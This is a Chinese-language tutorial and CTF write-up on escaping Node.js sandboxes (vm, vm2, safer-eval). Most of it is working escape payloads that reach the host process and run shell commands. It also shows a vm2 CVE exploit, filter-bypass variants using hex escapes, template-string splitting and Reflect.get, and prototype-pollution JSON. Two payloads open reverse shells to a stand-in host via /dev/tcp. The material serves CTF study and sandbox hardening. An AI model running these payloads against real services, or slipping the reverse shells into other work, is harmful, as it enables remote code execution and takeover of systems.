概念 vm 模块提供了一系列 API,用于在 V8 虚拟机环境中编译和运行代码。
逃逸的本质定义 :通过某种方式拿到沙箱外的 global.process 就算成功。
核心实现路径 :获取沙箱外对象 $\rightarrow$ 调用 global.process.mainModule.require("child_process").execSync("whoami").toString() $\rightarrow$ 实现 RCE。
结合各种命令执行的绕过技巧(参考上一篇命令执行绕过总结),我们可以构建出多样的逃逸 Payload。
VM 原理及逃逸方法 基本用法 官网提供了一个创建基础 VM 沙箱的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const vm = require('vm'); const x = 1; const sandbox = { x: 2 }; vm.createContext(sandbox); // 上下文隔离化(Contextify) const code = 'x += 40; var y = 17;'; // x 和 y 是沙箱环境中的全局变量。x 初始值为 2。 vm.runInContext(code, sandbox); console.log(sandbox.x); // 42 console.log(sandbox.y); // 17 console.log(x); // 1 (沙箱外的 x 未受影响); y 报错未定义
逃逸手法汇总 核心思路是利用 this + constructor 寻找连接“沙箱”与“真实环境”的通道。在沙箱中,this 指向当前传递给 runInNewContext 的对象,而该对象不属于沙箱环境 。
当 this 为普通对象时 通过 constructor 不断向上寻找构造器:获得 Object $\rightarrow$ 获得 Function $\rightarrow$ 返回 global.process。
1 2 3 4 5 6 7 8 9 10 const vm = require('vm'); const sandbox = { 'x': 1 }; vm.createContext(sandbox); const code = ` const p = this.constructor.constructor("return process")(); const res = p.mainModule.require("child_process").execSync("whoami").toString(); `; const res = vm.runInContext(code, sandbox); console.log(res); // 成功执行任意命令
当 this 为 null 时 (Object.create(null)) 此时无法直接通过 this 获取 global 环境,需要利用其他特性。
a. 利用输出直接触发 toString 方法
利用 arguments.callee.caller 返回函数的调用者(沙箱外的一个对象)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const vm = require('vm'); const script = `(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString() } return a })()`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res); // 拼接字符串,隐式触发 toString()
b. 调用属性触发 (Proxy 劫持)
利用 Proxy 代理劫持属性,当访问任意属性时触发逃逸逻辑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const vm = require("vm"); const script = `(() => { const a = new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) return a })()`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res.abc); // 访问 abc 属性触发 get 钩子
Object.create(null) + 无输出/无返回值若沙箱不返回结果或无法触发输出,可利用 try-catch 结构主动抛出异常并捕获输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const vm = require("vm"); const script = ` throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) `; try { vm.runInContext(script, vm.createContext(Object.create(null))); } catch(e) { console.log("error:" + e); // 捕获并输出包含命令执行结果的异常 }
单行版(便于本地使用 ` 调试):
1 const script = "throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();return p.mainModule.require('child_process').execSync('whoami').toString();}})";
VM2 原理及逃逸方法 vm2 相比 vm 做了大量安全强化,核心在于利用 ES6 的 Proxy 特性,通过钩子拦截了对 constructor 和 __proto__ 等危险属性的访问。
基本用法 1 2 3 const {VM, VMScript} = require('vm2'); const script = new VMScript("let a = 2;a;"); console.log((new VM()).run(script));
注意区分 vm 与 vm2: 引入的包名和代码结构均不同,做题时需仔细辨别。
逃逸方法 1) 依赖版本漏洞 (参考 Github issues)
实战中建议直接根据版本号搜寻现成 CVE Payload。例如针对 vm2@3.9.15 (CVE-2023-30547):
1 2 3 4 5 6 7 8 9 10 11 12 const {VM} = require("vm2"); const vm = new VM(); const code = ` aVM2_INTERNAL_TMPNAME = {}; function stack() { new Error().stack; stack(); } try { stack(); } catch (a$tmpname) { a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString(); }`; console.log(vm.run(code));
而 CTF 中最经典的考点通常是 vm2@3.8.3 逃逸:
1 2 3 4 5 6 7 8 9 10 const {VM} = require('vm2'); const untrusted = '(' + function(){ TypeError.prototype.get_process = f => f.constructor("return process")(); try { Object.preventExtensions(Buffer.from("")).a = 1; } catch(e) { return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString(); } }+')()'; try { console.log(new VM().run(untrusted)); } catch(x) { console.log(x); }
2) 原型链污染配合逃逸
通过已知源码位置实现返回 global:
JavaScript
1 2 let res = import('./app.js'); res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
典型 CTF 例题解析 1. [HITCON 2016] Leaking 考点:Node.js 老版本 Buffer 内存泄漏
源码提示 vm.run(req.query.data),但要求 data.length <= 12,且并未直接给出 vm2 版本。
1 2 3 4 5 6 7 import requests url ="http://<靶机IP>/?data=Buffer(888)" while True: res = requests.get(url=url) if 'hitcon' in res.text: print("Get a flag: " + res.text) break
2. BUUCTF-[HFCTF2020] JustEscape 考点:VM2 逃逸 + 关键字过滤绕过
试探: 传入 Error().stack 报错,判定为 Node.js 环境(而非 PHP),且为 vm2 逃逸。
Fuzzing: 经过字典探测,发现过滤了 Function, process, while, for, ", ', +, exec, prototype, constructor。
绕过思路 1:16 进制编码绕过 (\x63 替换 c)
1 2 3 4 5 6 7 8 (function(){ TypeError[`pro\x74otype`][`get_pro\x63ess`] = f=>f[`\x63onstructor`](`return pro\x63ess`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`get_pro\x63ess`](()=>{}).mainModule.require(`child_pro\x63ess`)[`exe\x63Sync`](`whoami`).toString(); } })()
1 2 3 4 5 6 7 8 (function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString(); } })()
3. [GKCTF 2020] ez三剑客-easynode 考点:safer-eval 逃逸 (非标准 vm 逃逸)
利用 clearImmediate 向上寻找 process。
1 2 3 4 5 6 const saferEval = require("./src/index"); const untrusted = `(function () { const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("whoami").toString() })()`; console.log(saferEval(untrusted));
4. [HZNUCTF 2023 final] eznode 考点:JS 原型链污染 + VM2 逃逸
源码中存在明显的无过滤 merge 函数,并且执行 new VM().run({}.shellcode)。
1 {"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'sh -i >& /dev/tcp/vps-ip/8888 0>&1'\").toString();"}}
5. [2023 0xGame ez_sandbox] 考点:原型链污染提权 + VM 代理异常逃逸 + 字符串拼接绕过
步骤 1 (提权): 过滤了 __proto__,但可通过 constructor.prototype 绕过 merge 污染,将访客权限提升为 admin。
{"username":"1","password":"1","constructor":{"prototype":{"role":"admin"}}}
步骤 2 (逃逸): WAF 禁用了大量关键字。通过 throw new Proxy 引发异常带出结果,并用 + 拼接字符串绕过黑名单。
1 2 3 4 5 6 7 throw new Proxy({}, { get: function(){ const c = arguments.callee.caller; const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))(); return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString(); } })
6. [2024 nkctf] 最简单的 CTF 题 考点:极端 WAF 下的 VM 代理异常逃逸
WAF 极为严苛:/(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g。
禁用了加号、concat、中括号和反斜杠。
应对策略:
用模板字符串 ${} 代替 + 和 concat 进行拼接。
用 Reflect.get() 代替 [] 获取属性。
Payload (Reflect 版):
1 2 3 4 5 6 7 8 9 throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))(); const chi = p.mainModule.require(`${`${`child_proces`}s`}`); const res = Reflect.get(chi, `${`${`exe`}cSync`}`)('whoami'); return res.toString(); } })
Payload (Replace 版) - 更加简洁:
1 2 3 4 5 6 7 8 9 throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return procAess'.replace('A','')))(); const obj = p.mainModule.require('child_procAess'.replace('A','')); const ex = Object.getOwnPropertyDescriptor(obj, 'exeAcSync'.replace('A','')); return ex.value('bash -c "bash -i >& /dev/tcp/vps-ip/port 0>&1"').toString(); } })